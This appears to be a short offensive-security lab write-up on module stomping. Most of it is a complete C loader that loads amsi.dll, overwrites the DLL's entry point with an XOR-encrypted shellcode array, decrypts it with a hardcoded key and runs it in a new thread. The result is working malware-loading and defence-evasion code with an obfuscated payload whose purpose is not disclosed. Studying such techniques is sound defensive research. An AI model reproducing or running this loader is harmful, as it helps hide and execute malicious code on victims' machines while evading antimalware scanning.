This technique works by coercing a program to load an unused DLL, and then overwriting some part of the unused DLL to host our payload, and then starting a new thread to execute that DLL.
For the sake of this lab(ish), we will simply just allocate a block of memory in a benign DLL and execute that.
After we get our entry point, lets change its protections and write our payload to the entry point:
Copy #include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char payload[] = { 0x a9 , 0x 3c , 0x ed , 0x aa , 0x b1 , 0x 86 , 0x b3 , 0x 74 , 0x 52 , 0x 73 , 0x 14 , 0x 25 , 0x 2f , 0x 1e , 0x 13 , 0x 3f , 0x 25 , 0x 3c , 0x 63 , 0x a1 , 0x 30 , 0x 3c , 0x e5 , 0x 1c , 0x 21 , 0x 26 , 0x f8 , 0x 26 , 0x 4a , 0x 3b , 0x de , 0x 26 , 0x 4e , 0x 6 , 0x ca , 0x 1c , 0x 23 , 0x 3c , 0x 5d , 0x c4 , 0x 1f , 0x 3e , 0x 23 , 0x 7f , 0x 88 , 0x 26 , 0x 42 , 0x b4 , 0x fe , 0x 4f , 0x 34 , 0x 8 , 0x 6c , 0x 62 , 0x 61 , 0x 2f , 0x b2 , 0x bd , 0x 5f , 0x 32 , 0x 54 , 0x b5 , 0x 8c , 0x a3 , 0x 13 , 0x 2f , 0x 22 , 0x 3c , 0x d9 , 0x 21 , 0x 75 , 0x ff , 0x 2c , 0x 72 , 0x 9 , 0x 6f , 0x a3 , 0x ff , 0x d2 , 0x fb , 0x 55 , 0x 74 , 0x 6e , 0x 6 , 0x c4 , 0x ae , 0x 7 , 0x 13 , 0x 1a , 0x 72 , 0x 85 , 0x 24 , 0x e5 , 0x 6 , 0x 59 , 0x 2a , 0x f8 , 0x 34 , 0x 72 , 0x 3a , 0x 54 , 0x a4 , 0x 8d , 0x 18 , 0x 9 , 0x 91 , 0x ba , 0x 35 , 0x d9 , 0x 47 , 0x dd , 0x 3c , 0x 6f , 0x 98 , 0x c , 0x 5f , 0x ba , 0x 3c , 0x 63 , 0x b3 , 0x f9 , 0x 35 , 0x af , 0x 87 , 0x 4c , 0x 2f , 0x 72 , 0x b5 , 0x 6a , 0x 93 , 0x 20 , 0x 85 , 0x 22 , 0x 4d , 0x d , 0x 4a , 0x 7b , 0x 31 , 0x 6b , 0x a2 , 0x 20 , 0x ac , 0x 36 , 0x a , 0x ca , 0x 2e , 0x 57 , 0x 3d , 0x 53 , 0x a3 , 0x 33 , 0x 35 , 0x e5 , 0x 42 , 0x 9 , 0x 2a , 0x f8 , 0x 34 , 0x 4e , 0x 3a , 0x 54 , 0x a4 , 0x 2f , 0x c5 , 0x 45 , 0x e6 , 0x 3b , 0x 75 , 0x 82 , 0x 32 , 0x d , 0x 35 , 0x 36 , 0x 10 , 0x 18 , 0x 34 , 0x 32 , 0x 2c , 0x 13 , 0x 2a , 0x 14 , 0x 2e , 0x 26 , 0x cd , 0x ad , 0x 4e , 0x 32 , 0x 26 , 0x ad , 0x 93 , 0x d , 0x 35 , 0x 37 , 0x 14 , 0x 9 , 0x e5 , 0x 61 , 0x 9d , 0x 5 , 0x 8c , 0x aa , 0x 8b , 0x 33 , 0x 6 , 0x fb , 0x 6f , 0x 73 , 0x 74 , 0x 52 , 0x 73 , 0x 55 , 0x 74 , 0x 6e , 0x 6 , 0x cc , 0x e3 , 0x 72 , 0x 75 , 0x 52 , 0x 73 , 0x 14 , 0x ce , 0x 5f , 0x c5 , 0x 2e , 0x e9 , 0x 8c , 0x a1 , 0x e9 , 0x 93 , 0x 48 , 0x 5e , 0x 64 , 0x f , 0x fb , 0x c8 , 0x e6 , 0x c9 , 0x cf , 0x 8c , 0x 80 , 0x 3c , 0x ed , 0x 8a , 0x 69 , 0x 52 , 0x 75 , 0x 8 , 0x 58 , 0x f3 , 0x ae , 0x 94 , 0x 1b , 0x 4b , 0x fa , 0x 29 , 0x 60 , 0x 6 , 0x 3d , 0x 19 , 0x 55 , 0x 2d , 0x 2f , 0x c7 , 0x 9b , 0x 91 , 0x a6 , 0x 17 , 0x 33 , 0x 1f , 0x 36 , 0x 5a , 0x b , 0x 36 , 0x 24 , 0x 6e };
unsigned int payload_len = sizeof (payload);
char key[] = "UtnNAnstRs" ;
void XOR ( char* data , size_t data_len , char* key , size_t key_len) {
int j;
j = 0 ;
for ( int i = 0 ; i < data_len; i ++ ) {
if (j == key_len - 1 ) j = 0 ;
data [i] = data [i] ^ key [j];
j ++ ;
}
}
int main ( void ) {
DWORD oldprotect = 0 ;
HMODULE hVictimLib = LoadLibrary ( "amsi.dll" );
if (hVictimLib != NULL ) {
char* ptr1 = ( char* )hVictimLib;
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ptr1;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ptr1 + dosHeader -> e_lfanew);
LPVOID dllEntryPoint = (LPVOID)( ntHeader -> OptionalHeader . AddressOfEntryPoint + (DWORD_PTR)ptr1);
char* ptr = ( char* )dllEntryPoint;
printf ( "Adrress of the Entry point of the dll: %p " , ptr);
getchar ();
VirtualProtect (( char* )ptr , payload_len , PAGE_READWRITE , & oldprotect);
XOR (( char* )payload , payload_len , key , sizeof (key));
memcpy (ptr , payload , payload_len);
VirtualProtect (( char* )ptr , payload_len , oldprotect , & oldprotect);
CreateThread ( 0 , 0 , (LPTHREAD_START_ROUTINE)ptr , NULL , 0 , 0 );
printf ( "Payload executed\n" );
getchar ();
}
return 0 ;
}